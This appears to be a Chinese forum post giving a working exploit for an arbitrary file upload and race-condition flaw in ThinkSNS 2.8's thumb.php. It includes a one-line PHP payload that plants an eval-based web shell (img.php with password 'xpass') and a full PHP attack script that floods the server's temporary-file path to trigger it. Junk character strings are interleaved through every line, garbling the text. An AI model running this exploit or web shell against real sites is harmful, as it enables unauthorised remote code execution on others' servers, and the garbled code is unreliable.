漏洞版本
" }$ z! G6 n0 n) g存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)
! a/ A F; b3 V2 G' S; p7 F6 L漏洞文件
. e9 _- R% n0 d* a+ E存在漏洞的文件为:thumb.php* m) v( |2 _, r* b
作者:韦鲲鹏
. w3 j; N8 C6 q+ I; i# m1、 准备如下PHP文件并上传到服务器(自己的)。0 p$ M' U w% g. F
文件内容如下:6 {, h- r9 U& ?1 G# r
<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
u. _2 Z4 @3 _; o* z. J2、 计算出临时的文件名:5 j6 _8 d/ g8 P* T1 I ~- S) I' G
这里我们可以看文件的99行(刚刚是不是没注意呀!)。
3 L! J! P; q4 U0 r L& x9 w8 H2 H; N1 W) h+ i1 l! R7 X, ]
3、 上传临时文件。
8 d/ t+ n) X+ ~, T7 h4、 访问临时文件。; {8 X# Z( q4 |+ u. [
但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)2 M4 N: Y; k, I* {( P
Exploit文件内容如下:(这个我就不详细解释了)
1 L! g a, _9 V. {8 }* \1 }* O' u<?php3 H; q% ~, X& X0 G/ Y2 y7 k$ S7 z. o
error_reporting(0);1 D9 \% d7 }& v6 f0 w
set_time_limit(0);
; m" u# w9 ?2 P! dini_set(“default_socket_timeout”, 5);
+ b, u8 `7 k0 O( g& Lfunction http_send($host, $port, $headers) {; V0 y! Z! @4 R% s" w
$fp = fsockopen($host, $port);
5 `, w/ \1 p6 k4 Nif (!$fp) die(‘Connection -> fail’);' I2 F F; m- `9 z$ d; \
fputs($fp, $headers);9 T' F) i5 N" J4 M5 o8 f6 X
return $fp;
! V+ K" t' [( y! x: J}" P" u& }( c6 p H' E6 Y7 X3 |
function http_recv($fp) {* n) x5 {; }+ O* ^! y: s
$ret=”";* K: H1 ~! y; ~1 p; K! |& y
while (!feof($fp))
- A f& g& G4 k) `$ P$ret.= fgets($fp, 1024);
( V P/ d( F9 D& j$ c6 Ffclose($fp);# @) F$ T+ A2 O! x
return $ret;7 Y8 @+ B: W- k. b4 G
}
% Q$ I, J! Y/ T) \: Uprint “\n# ThinkSns Arbitrary File Upload #\n”;
* A$ P6 C: ~, O9 n3 q" P* U: mprint “# Discovered by 韦鲲鹏 #\n\n”;
+ Z, f) l; m* K2 v% h' _8 Lif ($argc < 4) {5 x" r3 S, J6 n8 r. @8 H
print “Usage: php <host> <path> <romote_url>\n”;! S2 k/ R) e3 E- s/ s0 V
print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;1 q, P' R5 f# |- Z% @7 K; v: b
die();, H3 Q$ g% D- b4 T* ^
}1 N1 _2 V1 p4 L* Z2 _' S1 H+ P- S5 z
$host = $argv[1];% s8 ~6 w" C2 O/ j2 ]; [8 B4 d
$path = $argv[2];
, [- f1 }9 F! h& T% h$url = $argv[3];+ T* |( v) A& P0 @$ W+ ]( O
$i=0;
* q# _( ~7 x9 ?- B0 b//上传数据包6 B' C' C$ F( h( g
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;, I( e! m$ X$ i+ |. I
$headers_up .= “Host: “.$host.”\r\n”;
' A0 b$ a3 r$ K0 Q+ k' V$headers_up .= “Connection: close\r\n\r\n”;
, T! y1 d- J1 q8 L$ G! \echo $headers_up;1 ~3 q5 N% e4 Y% \3 t& [
//临时文件访问数据包 [) A0 U1 ^5 D4 |0 o
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”; Q9 p% J- ~4 I s* N: N) R, `+ ~7 i
$headers .= “Host: “.$host.”\r\n”;
+ _+ H- Q5 a# ~3 P8 s$headers .= “Connection: close\r\n\r\n”;
8 F- d* q- W$ k- h J, {$ [" fecho $headers;* P7 b! N4 W7 y; H* b/ k
while(++$i<10) {
. o$ H* c9 X8 U: y; c# afclose(http_send($host, 80, $headers));
+ L9 v% V$ g7 c0 Z+ Y}! V2 `- |3 G& Z& [
fclose(http_send($host, 80, $headers_up));0 \5 a2 j! V% e. i% N7 m
while(++$i<50) {% U+ S0 t, `% ?% h$ z/ T: c
fclose(http_send($host, 80, $headers));
- V* L2 o* `( d z}
% }* O6 W: H5 f+ ^) o+ [$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
0 n" R3 _' e5 \6 @/ {- p$headers .= “Host: “.$host.”\r\n”;
0 ^; _; a) J, m- d$headers .= “Connection: close\r\n\r\n”;
1 Y2 d" Z* r# m) t# S" l$res=http_recv(http_send($host, 80, $headers));
& t" Y! J) H4 \6 j3 Jif(preg_match(‘/200 OK/’,$res)) {. i2 h) Z+ x! E' x. O5 p* P. s
print “Success!\n\n”;
$ U% ^: X/ k# s s: r} else {, Q8 E7 \) G5 m: J+ k& v$ A; s
print “Fail!\n\n”;
$ P1 o' }! I. Z |}
& n1 Q7 Z7 B5 B3 o2 }" a?>- V3 t, y/ Y0 V6 v
|